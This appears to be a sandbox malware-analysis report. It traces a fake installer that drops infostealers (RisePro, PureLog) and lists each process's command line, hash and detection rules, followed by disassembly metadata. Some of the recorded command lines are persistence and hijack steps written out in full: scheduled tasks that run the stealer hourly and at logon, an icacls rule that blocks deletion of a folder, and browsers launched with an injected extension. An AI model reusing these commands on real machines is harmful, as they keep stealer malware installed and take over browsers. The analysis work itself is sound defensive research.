Show Windows behavior

Target ID:	27
Start time:	03:42:22
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp" /SL5="$40382,5476278,54272,C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe"
Imagebase:	0x400000
File size:	696'832 bytes
MD5 hash:	F1EE51C7EACCE1E7DE399503FCF98464
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	03:42:22
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe
Imagebase:	0x400000
File size:	6'670'074 bytes
MD5 hash:	4940E4F22CE7C072AC676E4493F6277C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:42:24
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe" -i
Imagebase:	0x400000
File size:	3'195'899 bytes
MD5 hash:	043BBFBF3F9119E9ACD330980383D523
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:42:24
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Imagebase:	0x890000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001E.00000002.2014980046.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:42:25
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x6b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:42:25
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:42:25
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:42:25
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	03:42:26
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:42:26
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 3228
Imagebase:	0x6b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:42:26
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x6b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:42:26
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:42:26
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /ifrdidZGrX "525403" /S
Imagebase:	0x870000
File size:	7'033'344 bytes
MD5 hash:	FDF1795DD29A5501FC75C8FF7C24ADDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:42:27
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	03:42:27
Start date:	24/05/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0xb0000
File size:	3'147'776 bytes
MD5 hash:	A032B8D3908C0282D9ACB8647CEC1765
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002A.00000002.2391836723.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002A.00000002.2390107762.0000000001379000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002A.00000003.2370659744.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002A.00000002.2390107762.00000000012DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:42:27
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x530000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:42:29
Start date:	24/05/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 0455C0D8 Relevance: 6.4, Strings: 5, Instructions: 141COMMON

Download Yara Rule

Strings

@, xrefs: 0455C1F7
(@, xrefs: 0455C2A2
8@, xrefs: 0455C276
@, xrefs: 0455C1E1
`@, xrefs: 0455C24A

Memory Dump Source

Source File: 00000000.00000003.1742149993.0000000004549000.00000004.00000020.00020000.00000000.sdmp, Offset: 04549000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4549000_BI6oo9z4In.jbxd

Similarity

API ID:
String ID: (@$8@$`@$@$@
API String ID: 0-1912386035
Opcode ID: 38acb895fb1be800e2d90b2050baa5a7666041065e31159ada9d082457ec285f
Instruction ID: 1e89d588b38a421a3545fdd69385451aa5042f2c9c719d29668fa8108128105d
Opcode Fuzzy Hash: 38acb895fb1be800e2d90b2050baa5a7666041065e31159ada9d082457ec285f
Instruction Fuzzy Hash: 8E4112A1A053069EA314BB6B781043B77D9E6C47143A4C43BF814AFBF4DB397861D62D

Function 0455C0D8 Relevance: 6.4, Strings: 5, Instructions: 141COMMON

Download Yara Rule

Strings

`@, xrefs: 0455C24A
(@, xrefs: 0455C2A2
@, xrefs: 0455C1E1
@, xrefs: 0455C1F7
8@, xrefs: 0455C276

Memory Dump Source

Source File: 00000000.00000003.1742149993.0000000004549000.00000004.00000020.00020000.00000000.sdmp, Offset: 044FA000, based on PE: false

Associated: 00000000.00000003.1753620914.00000000044FA000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4549000_BI6oo9z4In.jbxd

Similarity

API ID:
String ID: (@$8@$`@$@$@
API String ID: 0-1912386035
Opcode ID: 38acb895fb1be800e2d90b2050baa5a7666041065e31159ada9d082457ec285f
Instruction ID: 1e89d588b38a421a3545fdd69385451aa5042f2c9c719d29668fa8108128105d
Opcode Fuzzy Hash: 38acb895fb1be800e2d90b2050baa5a7666041065e31159ada9d082457ec285f
Instruction Fuzzy Hash: 8E4112A1A053069EA314BB6B781043B77D9E6C47143A4C43BF814AFBF4DB397861D62D

Function 04563768 Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

peA, xrefs: 0456386B
DeA, xrefs: 045637BA
`eA, xrefs: 04563858
TeA, xrefs: 045637D2

Memory Dump Source

Source File: 00000000.00000003.1742149993.0000000004549000.00000004.00000020.00020000.00000000.sdmp, Offset: 04549000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4549000_BI6oo9z4In.jbxd

Similarity

API ID:
String ID: DeA$TeA$`eA$peA
API String ID: 0-2073449286
Opcode ID: 75b87c9927fd58d5bf0f5ca17e276751c225b63675c848cb69ce8055f60f3afa
Instruction ID: 9271c01fc96f026f765e991b4bb4dc5959a16f485ffda4247aa974217f16d3be
Opcode Fuzzy Hash: 75b87c9927fd58d5bf0f5ca17e276751c225b63675c848cb69ce8055f60f3afa
Instruction Fuzzy Hash: EC215A74B002158FE720EF18D8507F977E6FB88700F5481679D45837A5DB34BD40EA91

Function 04563768 Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

DeA, xrefs: 045637BA
peA, xrefs: 0456386B
`eA, xrefs: 04563858
TeA, xrefs: 045637D2

Memory Dump Source

Source File: 00000000.00000003.1742149993.0000000004549000.00000004.00000020.00020000.00000000.sdmp, Offset: 044FA000, based on PE: false

Associated: 00000000.00000003.1753620914.00000000044FA000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4549000_BI6oo9z4In.jbxd

Similarity

API ID:
String ID: DeA$TeA$`eA$peA
API String ID: 0-2073449286
Opcode ID: 75b87c9927fd58d5bf0f5ca17e276751c225b63675c848cb69ce8055f60f3afa
Instruction ID: 9271c01fc96f026f765e991b4bb4dc5959a16f485ffda4247aa974217f16d3be
Opcode Fuzzy Hash: 75b87c9927fd58d5bf0f5ca17e276751c225b63675c848cb69ce8055f60f3afa
Instruction Fuzzy Hash: EC215A74B002158FE720EF18D8507F977E6FB88700F5481679D45837A5DB34BD40EA91

Analysis Process: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exePID: 6832, Parent PID: 6852COMMON

Execution Graph

Execution Coverage:	11.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.9%
Total number of Nodes:	1006
Total number of Limit Nodes:	88

Executed Functions

Function 0015B8E0 Relevance: 61.8, APIs: 27, Strings: 5, Instructions: 5824COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 0015BA08
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015BAD2
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015C575
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015D29A
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015D6F8
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015DAD7
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015DF3C
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015E6FA
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0015EEEA
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015F45B
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015F525
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015FC55
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015FEF1
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 001601ED
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00160580
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0016088D
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00160B14
CreateDirectoryA.KERNEL32(?,00000000), ref: 00160F12
CreateDirectoryA.KERNEL32(?,00000000), ref: 00161904
CreateDirectoryA.KERNEL32(?,00000000), ref: 00161E6E
CreateDirectoryA.KERNEL32(?,00000000), ref: 00161FBE
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015F933

Part of subcall function 00236770: std::_Throw_Cpp_error.LIBCPMT ref: 00236BE7
Part of subcall function 00236770: std::_Throw_Cpp_error.LIBCPMT ref: 00236BF8

Part of subcall function 00236CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00236D4F
Part of subcall function 00236CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00236D60

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0015BB07

Part of subcall function 00236CA0: GetLastError.KERNEL32(?,?), ref: 00236D07

CreateDirectoryA.KERNEL32(?,00000000), ref: 0015BD08
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0015BD37
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015C0CC
CreateDirectoryA.KERNEL32(?,00000000), ref: 0015C196

Strings

tm-, xrefs: 0015F3A4
tm-, xrefs: 0015B951
h0Y+, xrefs: 001622AC
tm-, xrefs: 00161DB7
tm-, xrefs: 0015C015

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$FolderPath$ErrorLast
String ID: h0Y+$tm-$tm-$tm-$tm-
API String ID: 3894780548-4244392856
Opcode ID: ac7d5b04e9edd4aafb74732184d2c51e4e3d8694cdb08d6f64d7f3afc75ffdf0
Instruction ID: 09a389221b00b5c3fb9441e39036309f040b2822339bdc144221021b564dfb7e
Opcode Fuzzy Hash: ac7d5b04e9edd4aafb74732184d2c51e4e3d8694cdb08d6f64d7f3afc75ffdf0
Instruction Fuzzy Hash: E3F3CEB4D0426D8BDF25CFA8C991AEEBBB1BF18300F1041A9D859B7341DB346A85CF65

Function 001D1C10 Relevance: 21.5, APIs: 6, Strings: 5, Instructions: 2202COMMON

Download Yara Rule

APIs

Part of subcall function 00236CA0: GetLastError.KERNEL32(?,?), ref: 00236D07

SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?), ref: 001D27AB
SHGetFolderPathA.SHELL32(00000000,00000005,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001D2AA7
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 001D2DA5
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 001D3105
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 001D3433
SHGetFolderPathA.SHELL32(00000000,00000008,00000000,00000000,?), ref: 001D3737

Strings

h0Y+, xrefs: 001D44EB
type must be string, but is , xrefs: 001D455B
type must be boolean, but is , xrefs: 001D4507
cannot get value, xrefs: 001D445E, 001D4598
cannot compare iterators of different containers, xrefs: 001D449D

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: FolderPath$ErrorLast
String ID: cannot compare iterators of different containers$cannot get value$h0Y+$type must be boolean, but is $type must be string, but is
API String ID: 1327050900-3146057185
Opcode ID: 05f95868a67cbb40400cf2a02154cd4d7bb0e1955a55a5971565b2ae7e83d638
Instruction ID: edca327b0b375ed87e624b954d75b3b3a086b482c8007f93686223734af83931
Opcode Fuzzy Hash: 05f95868a67cbb40400cf2a02154cd4d7bb0e1955a55a5971565b2ae7e83d638
Instruction Fuzzy Hash: 534313B0D042688BDB25CF28C894BEDBBB5BF59304F1082DAD859A7241EB756F84CF51

Function 001EF0D0 Relevance: 17.2, APIs: 3, Strings: 5, Instructions: 3172COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 001EF224
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 001F1C76

Part of subcall function 00236CA0: GetLastError.KERNEL32(?,?), ref: 00236D07

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000000), ref: 001F1F5D

Strings

cannot use push_back() with , xrefs: 001F3518
h0Y+, xrefs: 001F34FB
cannot use operator[] with a string argument with , xrefs: 001F3571, 001F35C6
~]d, xrefs: 001EFAC6
;Yb., xrefs: 001EFC4C

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
